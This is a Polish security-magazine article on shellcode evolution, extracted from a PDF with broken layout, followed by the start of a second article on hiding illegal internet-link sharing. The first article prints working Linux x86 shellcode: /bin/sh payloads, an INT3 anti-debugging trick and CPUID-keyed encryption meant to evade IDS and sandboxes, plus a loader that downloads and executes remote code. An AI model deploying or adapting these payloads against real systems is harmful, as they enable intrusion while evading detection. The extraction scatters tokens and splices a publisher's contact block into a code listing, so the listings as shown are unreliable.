Kod powłoki zaczyna się 5 bajto-

wym nagłówkiem charakterystycz-
nym dla popularnego formatu kom-
presji – ZIP. W tym przypadku bar-
dzo istotny jest fakt, iż wspomniane
5 bajtów da się przekształcić w po-
prawne instrukcje asemblera. Ponie-
waż system skupia się na wychwy-
tywaniu kodów powłoki, niewątpliwie
weźmie w pierwszej kolejności pod
lupę właśnie te bajty i istnieje szan-
sa, że rozpozna je jako nagłówek po-
prawnego bądź uszkodzonego archi-
wum ZIP. Nawet jeśli system monito-
ringu nie jest w stanie rozpoznać for-
matu ZIP, to i tak uzyskamy pewną
przewagę, jako że bajty nagłówkowe
są rzadko używane w kodach powło-
ki, co uczyni nasze rozwiązanie trud-
niejszym do wykrycia.

Przy próbie podszywania się pod

taki czy inny format, powodzenie ata-
ku zależy prawie zawsze od głębo-
kości analizy przeprowadzanej przez
system monitorowania. Nie zawsze
też udaje się zrekonstruować dany
format w taki sposób, aby można go
było przetłumaczyć na poprawne in-
strukcje asemblera. Czasami też trud-
no jest w pełni odtworzyć z poziomu
kodu powłoki strukturę formatu. W re-
zultacie system monitorujący, który
szuka dostatecznie głęboko, będzie w
stanie zauważyć, że coś jest nie tak.
Przeglądając listę popularnych forma-
tów można zauważyć, że niektóre z
nic maja luźniejszą strukturę niż inne
– zarówno w odniesieniu do nagłówka
jak i do zawartości. Dobrymi kandyda-
tami są formaty reprezentujące dane
multimedialne – w szczególności w
postaci surowej (nie skompresowa-
nej). Formaty te są zazwyczaj bardzo
elastyczne i co ważne – na tyle popu-
larne, aby postrzegać je jako część ty-
powego ruchu w Sieci (Listing 5.).

Bitmapa (.BMP) jest surowym for-

matem do reprezentacji obrazu, który
jest wręcz idealną przykrywką dla ko-
du powłoki. Trik w tym przypadku po-
lega na tym, iż trudno wyobrazić sobie
system monitorowania, który potrafił-
by przewidzieć czy danych obraz jest
prawdziwy czy nie. Koncepcję tę moż-
na oczywiście stosować w odniesieniu
do innych formatów – dobrymi kandy-
datami są RIFF (.WAV) oraz Rich Text
(.RTF). Podstawowym ograniczeniem
przy stosowaniu tej techniki jest fakt,
że wszystkie bajty występujące w na-
główku formatu, który planujemy wy-
korzystać jako kamuflaż kodu powło-
ki muszą być prawidłowymi instruk-
cjami asemblera. W innym przypadku
wywołanie kodu powłoki zakończy się
błędem naruszania dostępu w trakcie
wykonania.

Ewolucja kontra

diagnozowanie w czasie

wykonania

Metoda tzw. diagnozowania w cza-
sie wykonania jest kolejnym często
stosowanym rozwiązaniem stoso-
wanym w systemach IDS oraz IPS.
Metoda ta jest zazwyczaj wykorzy-
stywana jako rozszerzenie mecha-

nizmu diagnozowania „po kablu”,
który omawiałem w jednym z po-
przednich punktów.

Kluczowym elementem opisywa-

nego w tym miejscu procesu jest ba-
danie efektów wykonania kodu, któ-
ry został sklasyfikowany jako po-

Listing 5b.

Formaty

push

$

0x6e69622f

mov

%

esp

,

%

ebx

push

%

edx

push

%

ebx

mov

%

esp

,

%

ecx

int

$

0x80

Listing 6.

Pułapka INT 3h

#
# (linux/x86) trik

anty

-

debugowy

(

INT

3

h

trap

)

+

execve

(

"/bin/sh"

,

[

"/bin/sh"

,

NULL

]

,

NULL

)

-

39

bajt

ó

w

# - izik@tty64.org
#
.

section

.

text

.

global

_start

_start

:

#
# Program obsługi

sygna

ł

u

rejestru

push

$

0x30

popl

%

eax

push

$

0x5

popl

%

ebx

jmp

_evil_code

#
# Sprawdzenie debugera

_evilcode_loc

:

popl

%

ecx

int

$

0x80

int3

incl

%

eax

#
# Alternatywny strumień

przetwarzania

_evil_code

:

call

_evilcode_loc

#
# Prawdziwy kod powłoki
#

cdq

movb

$

0xb

,

%

al

push

%

edx

push

$

0x68732f2f

push

$

0x6e69622f

mov

%

esp

,

%

ebx

push

%

edx

push

%

ebx

pushl

%

esp

jmp

_evilcode_loc

background image

hakin9 Nr 1/2007

www.hakin9.org

Atak

30

dejrzany (na przykład przy pomo-
cy metody diagnozowania „po ka-
blu”). Proces ten jest przeprowadzany
w tzw. piaskownicy (ang. Sandbox),
czyli w bezpiecznym, odizolowa-
nym środowisku – może być to dla
przykładu wirtualny lub realny ser-
wer, który przetwarza/wykonuje po-
dejrzany kod, śledząc przy okazji
każdy jego krok i zapisując wyniki
jego działania. Porównując te wyniki z
danymi wyjściowymi produkowanymi
przez inne kody powłoki można łatwo
wyłapać potencjalnie niebezpieczny
kod, zaś dzięki temu, że eksperymen-
ty przeprowadzane są w piaskownicy
atakujący nie jest w stanie dokonać
żadnych poważanych uszkodzeń.

Siłą tej metody jest jej aktyw-

ny charakter. W przypadku diagno-
zy „po kablu” bazujemy głównie na
predefiniowanych zasadach – tu-
taj zaś podejrzany kod uruchamia-
ny jest na symulowanym CPU co
pozwala wyłapywać aktywność ko-
dów powłoki na najniższym z moż-
liwych poziomów. Jako, że głównym
celem kodu powłoki jest uruchomie-
nie się na CPU atakowanego syste-
mu, piaskownica może bardzo łatwo
śledzić i notować tego typu zacho-
wania. Zmiany struktury kodu powło-
ki na poziomie bajtów nic w tym przy-
padku nie pomoże, gdyż kod taki czy
tak, czy siak ukaże swoją prawdziwą
twarz w momencie wywołania.

Nie debuguj mnie

Sztuczki anty-debugowe są bardzo
popularne w przypadku komercyj-
nych aplikacji Windows. Bazują one
na dołączaniu do docelowej aplika-
cji fragmentów kodu, które utrudniają
lub uniemożliwiają debugowanie lub
wsteczną inżynierię tychże aplikacji.
Oczywiście nie zakładamy, że atako-
wany system będzie działał w trybie
odpluskwiania więc można bezpiecz-
nie założyć, że osadzanie tego rodza-
ju wstawek do kodu powłoki nie bę-
dzie przeszkodą przy uruchomieniu
go na tym systemie. Tym co naprawdę
chcemy uzyskać jest wprowadzenie
chaosu do piaskownicy. Istnieje cała
gama trików anty-debugowych, przy
czym najciekawsze nie są wcale te,
które na ślepo blokują debugery, lecz

Listing 7.

Kolejność rejestracji kodu powłoki

#
# Rejestruj program obsługi sygnału
#

push

$

0x30

popl

%

eax

push

$

0x5

popl

%

ebx

jmp

_evil_code

...

_evilcode_loc

:

popl

%

ecx

int

$

0x80

...

_evil_code

:

call

_evilcode_loc

...

Listing 8.

Po uruchomieniu przerwania INT3 następuje docelowy test

#
# Sprawdzenie debugera
#

_evilcode_loc

:

...

int3


...

Listing 9.

Debuger zdejmuje wartość ze stosu i wartość EIP zwiększa

się o jeden

#
# Sprawdzenie debugera
#

_evilcode_loc

:

popl

%

ecx

int

$

0x80

int3

#
# Debugger przeniesie bieg programu w to miejsce!
#

incl

%

eax

_evil_code

:

call

_evilcode_loc

Listing 10.

Część kodu powłoki, która zostałaby uruchomiona w

sytuacji wywołania funkcji zwrotnej dla SIGTRAP

#
# Docelowy kod powłoki
#

cdq

movb

$

0xb

,

%

al

push

%

edx

push

$

0x68732f2f

push

$

0x6e69622f

mov

%

esp

,

%

ebx

push

%

edx

push

%

ebx

pushl

%

esp

jmp

_evilcode_loc

background image

Ewolucja shellcodów

hakin9 Nr 1/2007

www.hakin9.org

31

te które pozwalają aplikacji stwierdzić
czy jest w trakcie debugowania – co
z kolei pozwala jej modyfikować swo-
je zachowania w zależności od odpo-
wiedzi na to pytanie.

Jeśli kod powłoki posiadałby

„świadomość” na temat tego, że zo-
stał uruchomiony w piaskownicy (lub
w środowisku debugującym), to mógł-

by wprowadzić program odpluskwia-
jący w błąd rozdzielając swój stru-
mień przetwarzania na dwie ścież-
ki – bezpieczną (zawierającą pełną
funkcjonalność) oraz niebezpieczną
(prowadzącą do wcześniejszego za-
kończenia). Patrz Listing 6.

Zaprezentowany kod powłoki im-

plementuje jeden z najbardziej pod-

stawowych trików anty-debugowych,
czyli pułapkę INT 3h. Uwięzienie po-
tencjalnego debugera polega na uru-
chomieniu przerwania 3H i ustawie-
nia programu obsługi sygnału (lub wy-
jątku) w kodzie powłoki. W rezultacie,
gdy kod powłoki działa w trybie odplu-
skwiania to przerwanie sprawi, że de-
buger się zatrzyma (INT 3h jest stan-
dardowym przerwaniem wykorzysty-
wanym przez debugery). Gdb debu-
ger zatrzyma się na kodzie, ustawi
EIP na punkt za kodem operacji INT
3h i (zakładając, że nie został prze-
konfigurowany), nie wywoła programu
obsługi zawartego w kodzie powłoki.

Kod umieszczony w procedu-

rze obsługi przerwania definiuje bez-
pieczną ścieżkę. Ścieżka niebez-
pieczna zawarta jest w sekcji na-
stępującej po kodzie operacji INT
3h. Dzięki temu, że większość inte-
raktywnych i praktycznie wszystkie
nie-interaktywne debugery nie dzie-
lą przerwania z aplikacją, kod powłoki
może tak zaplanować swój strumień
przetwarzania, aby ukryć swoje doce-
lowe przeznaczenie (Listing 7).

W pierwszej kolejności kod po-

włoki rejestruje program obsługi sy-
gnału dla SIGTRAP (INT3). Następ-
nie wykorzystuje wsteczne CALL aby
w trakcie wykonania pobrać lokację
kodu oznaczonego jako _evil_co-

de. Adres jest przekazany jako funk-
cja zwrotna do funkcji, której wywo-
łanie przeprowadzi scenariusz bez-
pieczny (zakładamy, że nie ma debu-
gera, który obserwuje strumień prze-
twarzania i kod powłoki może uru-
chomić swoją docelową funkcjonal-
ność). Patrz Listing 8.

Po

uruchomieniu

przerwa-

nia INT3 następuje docelowy test.
Program obsługi sygnału jest już zare-
jestrowany i wskazuje na _evil_code.
W tym punkcie kodu powłoki następu-
je rozdzielenie strumienia przetwarza-
nia, zaś wybór konkretnej ścieżki po-
dejmowany jest w zależności od wyni-
ku przerwania (Listing 9). W przypad-
ku jeśli debuger zdjął wartość ze stosu
i wartość EIP została zwiększona o je-
den (INT3 jest jedno-bajtowym kodem
operacji), do głosu dochodzi niebez-
pieczna ścieżka kodu. Rejestr EAX
został wyzerowany przez wywołanie

Listing 11.

Pętla dekodująca nie jest wymagana, tak jak w Listingu 10

#
#

(

linux

/

x86

)

execve

(

"/bin/sh"

,

[

"/bin/sh"

]

,

NULL

)

/

przexorowane

z

Intel

x86

CPUID

-

41

bajt

ó

w

# - izik@tty64.org
#
.

section

.

text

.

global

_start

_start

:

#
# CPUID w celu załadowania klucza
#

xorl

%

eax

,

%

eax

cpuid

#
# Wrzuć na stos przexorowany ładunek (drugi kod powłoki)
#

pushl

%

ecx

pushl

$

0xeca895e7

pushl

$

0x3f377fde

pushl

$

0x8fec1a07

pushl

$

0x0e4a1c6e

pushl

$

0x04165b06

#
# Deszyfruj ładunek w odniesieniu do wartości CPUID
#

_unpack_loop

:

xorl

%

ecx

,

(%

esp

)

popl

%

edx

jnz

_unpack_loop

#
# Przeskocz do odszyfrowanego kodu powłoki
#

subl

$

0x18

,

%

esp

pushl

%

esp

ret

Listing 12.

Kod operacji CPUID

#
# CPUID do wczytania--

Marta

Ogonek

Product

manager

of

hakin9

Hard

Core

IT

Security

magazine

www

.

en

.

hakin9

.

org

Software

Wydawnictwo

Sp

.

z

o

.

o

Piaskowa

3

,

01

-

067

Warsaw

,

Poland

Phone

:

+

4822

887

14

57

Fax

:

+

4822

887

10

11

the

key

#

xorl

%

eax

,

%

eax

cpuid

...

background image

hakin9 Nr 1/2007

www.hakin9.org

Atak

32

systemowe

signal()

. Debuger kon-

tynuuje przetwarzanie od INT3, dalej
zwiększa wartość EAX o jeden (war-
tość ta reprezentuje teraz wywołanie
systemowe EXIT) i kończy wywołując
kod oznaczony

_ evilcode _ loc

, gdzie

dzięki instrukcji INT $0x80 tożsamej z
wywołaniem systemowym

exit()

kod

powłoki kończy swoje działanie. Zo-
baczmy co by się działo gdyby nie by-
ło debugera (Listing 10.).

Przedstawiony kod reprezentuje

tę część kodu powłoki, która zosta-
łaby uruchomiona w sytuacji wywo-
łania funkcji zwrotnej dla SIGTRAP.
Jeśli do tego dojdzie, kod powłoki za-
atakuje system wywołując /bin/sh.

Korzystając z koncepcji wykony-

wania w locie testów, które pozwalają
na to by kod powłoki uzyskał wiedzę
odnośnie natury środowiska w jakim
jest on uruchamiany, możemy znacz-
nie zwiększyć prawdopodobieństwo
jego przebrnięcia przez Sieci typu Ho-
neypot, piaskownice lub aplikacje mo-
nitorujące. Główną zaletą takiego po-
dejścia jest ochrona przez potencjal-
nym zdemaskowaniem.

Miażdżenie na CPU

Kryptografia jest rozwiązaniem które
wybiera się zazwyczaj gdy chcemy za-
pewnić, aby w przypadku przechwyce-
nia naszych danych przez zewnętrzny
podmiot, dane te były niemożliwe do
odczytania. Jednakże aby uzyskać ta-
ki efekt, strony które planują przesyłać
sobie zaszyfrowane informacje mu-
szą uzgodnić i wymienić określony,
tajny klucz. Wymiana taka nie wcho-
dzi w grę gdy próbujemy infiltrować
atakowany system wbrew jego woli.

Tajne porozumienie bez wy-

miany kluczy znane jest pod na-
zwą metody wczesnego dziele-
nia kluczy (ang. pre-shared key

method). Idea tej metody polega na
tym, że obydwie strony używają zna-
nego z góry, tego samego klucza,
dzięki czemu nie muszą przeprowa-
dzać procesu wymiany. Znając taki
klucz można by zaszyfrować nim kod
powłoki, dzięki czemu byłby on zdeko-
dowany dopiero na docelowej maszy-
nie, bezpiecznie omijając wszelkie-
go rodzaju piaskownice. Kod powło-
ki może uzyskać dostęp do niemal-

Listing 13.

Kod operacji CPUID daje nam dostęp do pożądanej

informacji

#
# Wrzuć na stos przexorowany
ł

adunek

(

drugi

kod

pow

ł

oki

)

#

pushl

%

ecx

pushl

$

0xeca895e7

pushl

$

0x3f377fde

pushl

$

0x8fec1a07

pushl

$

0x0e4a1c6e

pushl

$

0x04165b06

Listing 14.

Deszyfrowanie kodu

#
# Deszyfruj ładunek

w

odniesieniu

do

warto

ś

ci

CPUID

#

_unpack_loop

:

xorl

%

ecx

,

(%

esp

)

popl

%

edx

jnz

_unpack_loop

#
# Przeskocz do

odszyfrowanego

kodu

pow

ł

oki

#

subl

$

0x18

,

%

esp

pushl

%

esp

ret

Listing 15a.

Sprawdzanie w czasie wykonania, która powłoka jest

dostępna

#
#

(

linux

/

x86

)

getppid

()

+

execve

(

"/proc/<pid>/exe"

,

[

"/proc/<pid>/exe"

,

NULL

])

-

51

bajt

ó

w

# - izik@tty64.org
#
# * podziękowania dla pR za pętlę _convert ;-)
#

.

section

.

text

.

global

_start

_start

:

#
# Kto jest twoim rodzicem?
#

push

$

0x40

popl

%

eax

int

$

0x80

#
# Zamień INT na ASCII
#

_convert

:

decl

%

esp

cdq

pushl

$

0xa

popl

%

ebx

divl

%

ebx

addb

$

0x30

,

%

dl

background image

Ewolucja shellcodów

hakin9 Nr 1/2007

www.hakin9.org

33

że każdej globalnej zmiennej lub da-
nej systemowej. Niektóre z takich in-
formacji mogą być pozyskane jesz-
cze przed rozpoczęciem ataku. Ta-
ki rodzaj koordynacji pozwala na za-
stosować model PSK (ang. Pre-Sha-

red Key).

Użycie kodu podobnego jak w

przypadku pokazanego wcześniej en-
kodera, rozszerzonego o procedurę
kryptograficzną i mechanizm wydoby-
wania klucza jest podstawą do stwo-
rzenia szyfrowanego kodu powłoki.

Ten kod powłoki jest podob-

ny do kodu powłoki w wersji enko-
dowanej. Jednakże w tym przypad-
ku pętla dekodująca nie jest wyma-
gana, tak jak to było w pokazanym
wcześniej przykładzie. Współdzielo-
nym sekretem jest tutaj nazwa pro-
ducenta procesora (np. Intel) – ten
właśnie napis będzie wykorzysta-
ny zarówno do zaszyfrowania jak
i odszyfrowania go na docelowej
maszynie przed uruchomieniem.
Oznacza to, że użycie jako PSK
nazwy innego producenta dałoby w
wyniku niepoprawny kod, całkowi-
cie nieprzydatny z punktu widzenia
analizy. Przykład z nazwą producen-
ta procesora pokazuje jak łatwo pod-
miot atakujący może zebrać dane po-
trzebne do przeprowadzenia tego ty-
pu działania. W tym przypadku infor-
mację tę można uzyskać z poziomu
asemblera przy użyciu kodu operacji
CPIUD (Listing 12).

Kod operacji CPUID daje nam

dostęp do pożądanej informacji.
W pierwszej fazie zaszyfrowany kod
powłoki jest wrzucony na stos (po-
dobnie jak w przypadku omawiane-
go wcześniej enkodera/dekodera).
Patrz Listing 13.

Kiedy zaszyfrowany kod powło-

ki jest już umieszczony na stosie to
należy wziąć się za jego odszyfro-
wanie wykorzystując do tego odpo-
wiedź pozyskaną z CPUID. Nieste-
ty nie posiadamy żadnej kontroli nad
tym procesem – tak samo jak nie
jesteśmy w stanie zweryfikować
powodzenia tego przedsięwzięcia.
Jeśli CPIUD zwrócił nazwę inne-
go producenta niż się spodziewali-
śmy (np. AMD) to w wyniku otrzy-
mamy bezużyteczne asemblerowe

Listing 15b.

Sprawdzanie w czasie wykonania, która powłoka jest

dostępna

movb

%

dl

,

(%

esp

)

testl

%

eax

,

%

eax

jnz

_convert

cdq

#
# Uruchom [/proc/

<pid>

/exe]

#

popl

%

ebx

pushl

%

edx

pushl

$

0x6578652f

pushl

%

ebx

pushl

$

0x2f636f72

pushl

$

0x702f2f2f

movb

$

0xb

,

%

al

movl

%

esp

,

%

ebx

pushl

%

edx

pushl

%

ebx

movl

%

esp

,

%

ecx

int

$

0x80

Listing 16.

Wpis domyślny

#
# Kto jest twoim rodzicem?
#

push

$

0x40

popl

%

eax

int

$

0x80

Listing 17.

Przekształcenie funkcji getppid() do postaci ASCI

#
# Zamień INT na ASCII
#

_convert

:

decl

%

esp

cdq

pushl

$

0xa

popl

%

ebx

divl

%

ebx

addb

$

0x30

,

%

dl

movb

%

dl

,

(%

esp

)

testl

%

eax

,

%

eax

jnz

_convert

cdq

Listing 18.

Wywołanie systemowe execve()

#
# Uruchom [/proc/

<pid>

/exe]

#

popl

%

ebx

pushl

%

edx

pushl

$

0x6578652f

pushl

%

ebx

pushl

$

0x2f636f72

pushl

$

0x702f2f2f

movb

$

0xb

,

%

al

movl

%

esp

,

%

ebx

pushl

%

edx

pushl

%

ebx

movl

%

esp

,

%

ecx

int

$

0x80

background image

hakin9 Nr 1/2007

www.hakin9.org

Atak

34

śmieci, które przy próbie wykonania
najprawdopodobniej spowodują po-
wstanie wyjątku (Listing 14).

Po zakończeniu deszyfrowania

pozostaje wykonać skok do docelowej
sekcji kodu powłoki. To czy we wspo-
mnianej sekcji znajdują się właściwe
instrukcje zależy od tego czy trafili-
śmy na właściwą nazwę producenta
procesora. W każdym innym przypad-
ku wywołanie wynikowego kodu za-
kończy się powstaniem wyjątku.

Rozwiązania bazujące na przed-

stawionej koncepcji można oczywi-
ście modyfikować, na przykład wy-
korzystując inną nazwę producenta
(chociażby AMD).

Ewolucja kontra

kustomizacja

Jak dotąd dyskutowane prze-
szkody pojawiające się na drodze
kodów powłoki były związane
z występowaniem takich mecha-
nizmów ochronnych jak NIDS czy
IPS. Jednakże w wielu przypadkach
– szczególnie w kontekście ataków
skierowanych przeciwko rozbudo-
wanym organizacjom, pojawiają się
problemy wynikające z właściwo-
ści atakowanego systemu. Na przy-
kład, jednym z podstawowych błę-
dów przy projektowaniu kodów powło-
ki jest wstawianie wartości ustawio-
nych na stałe – odnosi się to przede
wszystkim do napisu /bin/sh. Problem
w tym, że wcale nie ma gwarancji, że
program sh znajduje się w katalogu

bin; co więcej – katalog bin wcale nie
musi istnieć w atakowanym systemie.
Oczywiście w większości przypadków
(powiedzmy, że około 80%) atak za-
pewne się powiedzie, jednakże dla
pozostałych 20% wywołanie syste-
mowej funkcji

execuve()

zakończy się

niepowodzeniem mimo tego, że kod
powłoki udało się uruchomić. W rze-
czywistości kustomizacja jest czynni-
kiem, który należy na poważnie wziąć
pod uwagę przy projektowaniu kodów
powłoki. Praktyka ta jest powszechnie
stosowana zarówno wśród systemów
z rodziny Linux jak i BSD i wynika z
dużej różnorodności dystrybucji oraz
łatwości w dopasowywaniu struktury
systemu, dzięki której administratorzy
oraz zaawansowani użytkownicy są w

stanie w pełni dopasować ją w odnie-
sieniu do własnych potrzeb i preferen-
cji. Zjawisko kustomizacji jest również
prawie zawsze spotykane w przypad-
ku systemów osadzonych oraz dedy-
kowanych.

Podążam za rodzicem!

Sprawdzanie w czasie wykonania,
która powłoka jest dostępna, da-
je kodowi powłoki szansę na obej-
ście problemu związanego z kusto-
mizacją. Jednym ze sposobów, któ-
re można w tym celu wykorzystać
(w odniesieniu do systemu Linux)
jest przeglądanie hierarchii proce-
sów. Jeśli przyjrzymy się bliżej tej
hierarchii to zauważymy pewną
prawidłowość – otóż dla zakresów
głębokości od 0 do 3 proces ma-
cierzysty jest zazwyczaj powłoką.
Jedynym wyjątkiem odnośnie tej
reguły jest proces initd, który uru-
chamia samo jądro.

Do sprawdzenia kto jest rodzicem

kodu powłoki wystarczy proste wywo-
łanie

getppid()

, które zwróci identyfi-

kator PID jego procesu macierzyste-
go. Identyfikator ten jest kluczem, któ-
rego kod powłoki użyje później w ce-
lu zbadania wpisu /proc powiązanego
ze swoim rodzicem. Wpis ten zwiera
informacje na temat ścieżki pliku wy-
konywalnego oraz argumentów wy-
wołania przekazanych przy jego uru-
chomieniu. Domyślnie wpis ten jest
dostępny dla każdego procesu (Li-
sting 16).

Funkcja

getppid()

zwraca war-

tość będącą liczbą całkowitą (ang.

integer). Do naszych celów war-
tość tę trzeba będzie przekształcić
do postaci ASCI. Potrzeba ta wy-
nika z faktu, iż zwrócony PID misi
być wstawiony do napisu określa-
jącego ścieżkę (np. /proc/<pid>/

exe). Ścieżka ta określa plik wy-
konywalny macierzystego proce-
su (Listing 17.). Mając wartość

getppid()

w postaci ASCII pozo-

staje jedynie przekazać ją do wy-
wołania systemowego

execve()

.

W rezultacie otrzymaliśmy dość

uogólniony program do uruchamiania
powłoki, gdzie jedyną zabitą na stałe
wartością jest napis /proc, który w naj-
bliższym czasie raczej się nie zmieni.

Listing 19.

Przykładowy loader

#
# (x86/linux) HTTP/1.x GET,

Pobieranie

i

wywo

ł

ywanie

operacji

JMP

-

68

+

bajt

ó

w

# - izik@tty64.org
#

.

section

.

text

.

global

_start

_start

:


push

$

0x66

popl

%

eax

cdq

pushl

$

0x1

popl

%

ebx

pushl

%

edx

pushl

%

ebx

pushl

$

0x2

movl

%

esp

,

%

ecx

int

$

0x80

popl

%

ebx

popl

%

ebp

movl

$

0xfeffff80

,

%

esi

movw

$

0x1f91

,

%

bp

#
# nie %bp, dla numerów portów

< 256

#

notl

%

esi

pushl

%

esi

bswap

%

ebp

orl

%

ebx

,

%

ebp

pushl

%

ebp

incl

%

ebx

pushl

$

0x10

pushl

%

ecx

pushl

%

eax

movb

$

0x66

,

%

al

movl

%

esp

,

%

ecx

int

$

0x80

_gen_http_request

:

#
# < wykorzystaj gen_httpreq.c,
w celu wygenerowania
żądania HTTP GET.

>

#

_gen_http_eof

:

movl

%

esp

,

%

ecx

_send_http_request

:

movb

$

0x4

,

%

al

int

$

0x80


_recv_http_request

:

movb

$

0x3

,

%

al

pushl

$

0x1

popl

%

edx

int

$

0x80

incl

%

ecx

testl

%

eax

,

%

eax

jnz

_recv_http_request

_jmp_to_code

:

subl

$

0x6

,

%

ecx

jmp

*%

ecx

background image

Jeszcze jedną kwestią nad

którą warto się zastanowić to pro-
blem pojedynczo i wielowątkowych
demonów. Aby zastosować omawia-
ną metodę dla procesów powsta-
łych na bazie

fork()

-owania należa-

łoby zastosować rekurencyjną pro-
cedurę przetwarzania drzewa rodzi-
ców. W przypadku demonów jedno-
wątkowych potrzeba taka nie wystę-
puje. Kod powłoki pokazany powyżej
odnosi się właśnie do demonów jed-
nowątkowych.

Ewolucja kontra

Ograniczenia

Różne scenariusze ataku narzucają
różne ograniczenia: na przykład po-
szczególne protokoły operują na bu-
forach o różnej długości itd. Z tego
względu kody powłoki powinny mieć
możliwość dopasowania się do ota-
czającego je aktualnie środowiska.
Najbardziej popularne ograniczenie
związane jest z limitem wielkości ko-
du. Istnieje oczywista korelacja po-
między poziomem funkcjonalności
kodu powłoki a jego wielkością. Z lo-
gicznego punktu widzenia, im bardziej
złożona jest wspomniana funkcjonal-
ność, tym więcej będzie potrzeba ko-
dów operacji w celu jej zaimplemen-
towania. Aby móc budować bardziej
sprytne i zaawansowane rozwiąza-
nia problem wielkości musi być prze-
zwyciężony. W innym przypadku nasz
super-inteligentny kod powłoki będzie
odrzucony na poziomie protokołu i ca-
ła nasza praca pójdzie na marne.

Podział na fazy

Dzielenie każdej logicznej operacji na
mniejsze zadania pozwala tworzyć
potoki. Ta ogólna zasada działa rów-
nie dobrze w odniesieniu do kodów
powłoki. Jeśli kod taki nie może prze-
prowadzić pełnego ataku jednorazo-
wo, to powinien być pobrany przez in-
ny, mniejszy kod powłoki. W tej sytu-
acji, zamiast budowania jednego kodu
powłoki, który robi wszystko na-
raz, warto podzielić funkcjonalność
na główną logikę oraz jej wczyty-
wanie. Za wczytywanie będzie od-
powiadał mniejszy kod powłoki
którego podstawowym zadaniem bę-
dzie uruchomienie kodu docelowego.

Mając taki zewnętrzny loader może-
my wczytywać większe i bardziej za-
awansowane kody powłoki nie mar-
twiąc się o ich rozmiar.

Listing 19 przedstawia przy-

kładowy loader. Potrafi on pobrać
binarny kod powłoki z zadanego URL
a następnie wpisać go do bufora
i wykonać do niego skok. Po skróce-
niu kod loadera zajmuje jedynie 68
bajtów, aczkolwiek mimo to potrafi ko-
munikować się z dowolnym serwerem
HTTP działającym na bazie protoko-
łów HTTP/1.0 oraz HTTP/1.1. Pobra-
ny kod jest dla odmiany wolny od ja-
kichkolwiek limitów (na przykład dłu-
gości czy zakazu występowania zna-
ku

NULL

). Oczywiście sam loader tym

limitom nadal podlega.

Prezentowane podejście mo-

że być bardzo przydatne przy au-
tomatyzacji testów penetracyjnych.
Dla przykładu, można by się po-
kusić o niewielki serwer, który bę-
dzie wychwytywał potwierdzenia o
udanych włamaniach do systemów
na zasadzie obserwowania żądań
wysyłanych przez loader. Po wpro-
wadzeniu kilku modyfikacji loader
mógłby zbierać i wysyłać informacje
identyfikacyjne na temat atakowa-
nego systemu dzięki czemu serwer
mógłby wybrać i odesłać kod powło-
ki najbardziej adekwatny do zadanej
konfiguracji. Rozwijając tę koncep-
cję można by również zaimplemen-
tować samo-rozprzestrzeniającego
się robaka.

W przypadku tego konkretne-

go kodu powłoki zastosowałem na-
rzędzie zwane gen_httpreq.c, które
pozwala łatwo wygenerować na ba-
zie zadanego URL napis zawierają-
cy żądanie HTTP.

Podsumowanie

W powyższym tekście pokaza-
łem pewne czynniki oraz przeszko-
dy wpływające na strukturę i spo-
sób działania kodów powłoki. Niejako
z definicji temat nie został wyczerpa-
ny, jako że kody powłoki to technolo-
gia ciągle ewoluująca. Cel tej ewolucji
jest za to niezmienny: przeprowadzać
udane ataki bez bycia zauważonym.

http://www.tty64.org/code/shellcodes/
archiwum źródeł kodów powłoki

l

www.hakin9.org

background image

www.hakin9.org

hakin9 Nr 1/2007

36

Obrona

A

nie można jeszcze prościej? Jakiś
czas temu opublikowaliśmy w „Ha-

kin9u” sążnisty artykuł na temat de-

tekcji nielegalnego podziału łącza interneto-
wego (Mariusz Tomaszewski, Maciej Szmit,
Marek Gusta, „Sprzątanie pajęczyn – detek-
cja nielegalnego współdzielenia łącza”, „Ha-
kin9” nr 2/2005 str. 10-18, dostępny w wersji
on line http://www.haking.pl/pl/attachments/

lacze_pl.pdf). Konkluzja była mniej więcej
taka, że „pajęczarze” posługują się rozwią-
zaniami III warstwy modelu ISO/OSI (NAT
ze wszystkimi jego odmianami) i znacznie
trudniejszymi do wykrycia proxy (IV warstwy
– tzw. pośrednikami obwodowymi i VII war-
stwy – proxy aplikacyjnymi). Ale jak się oka-
zuje, można jeszcze prościej. Wystarczy,
że zdolny użytkownik nada po prostu dwóm
komputerom ten sam adres MAC i ten sam
adres IP, a następnie podepnie je do huba,
który z kolei podłączy do swojego „wyjścia
na świat” (Rysunek 1).

Oczywiście – jeśli komputery pracować

będą pod kontrolą ulubianego (przez wie-
lu) systemu operacyjnego – pojawiły się ko-
munikaty o zduplikowanym adresie IP. Ko-
munikaty te biorą się stąd, że Windows w

momencie uruchomienia interfejsu siecio-
wego (a dokładniej – nadania mu numeru
IP) sprawdza za pomocą kilku zapytań ARP-
request o własny adres, czy w Sieci nie ma
innego komputera o tym samym IP. Zapy-
tania te zdolny użytkownik może usunąć
ustawiając w rejestrze wartość klucza:

HKLM\

SYSTEM\CurrentControlSet\Services\Tcpip\
Parameters\ArpReplyCount na zero

Huby w pajęczynach

i złośliwe m-routery

Maciej Szmit
Mariusz Tomaszewski

stopień trudności

Im dłużej zajmujemy się komputerami tym mocniej wierzymy

w krasnoludki, Babę Jagę oraz liczne mniej lub (częściej)

bardziej złośliwe chochliki. Właściwie nawet nie nie tak: nie tylko

wierzymy, ale poznajemy ich zwyczaje, sympatie i antypatie,

a czasami nawet okoliczności, w jakich przychodzą na świat.

No bo wyobraźcie sobie tylko...

Z artrykułu dowiesz się...

• o dość nietypowej metodzie współdzielenia łą-

cza internetowego,

• o problemach z wykrywaniem ARP-spoofingu,

które może spowodować,

• nietypowa konfiguracja linuksa,
• o nietypowej obsłudze ramek grupowych przez

niektóre urządzenia sieciowe.

Powinieneś wiedzieć...

• co to jest ARP-spoofing,
• do czego służy protokół ICMP,
• czym się różni switch od huba.

background image

Huby w pajęczynach i złośliwe m-routery

hakin9 Nr 1/2007

www.hakin9.org

37

W konsekwencji komunikaty

o zduplikowanym adresie przesta-
ną się pojawiać.

Ponadto na obydwu maszynach

trzeba uruchomić personalne fire-
walle (my wykorzystaliśmy do tego
celu program ZoneAlarm) po to, aby
ustawić porty w nieznany z RFC stan
stealth (port ukryty). Te zabiegi przy-
niosą oczekiwany skutek – na obu
komputerach można spokojnie sur-
fować sobie po Internecie, a że infor-
macja wysyłana do jednego trafiała
również do drugiego? No cóż – taka
już przecież jest natura huba ;)

Spróbujmy prześledzić to roz-

wiązanie nieco poważniej – segmen-
ty TCP generowane przez pierwszy
komputer (dajmy na to segment na-
wiązania połączenia TCP SYN)
– trafiały oczywiście do adresata,
który wysyłał w odpowiedzi swoją
odpowiedź (dajmy na to SYN+ACK)
pod adres naszego komputera.
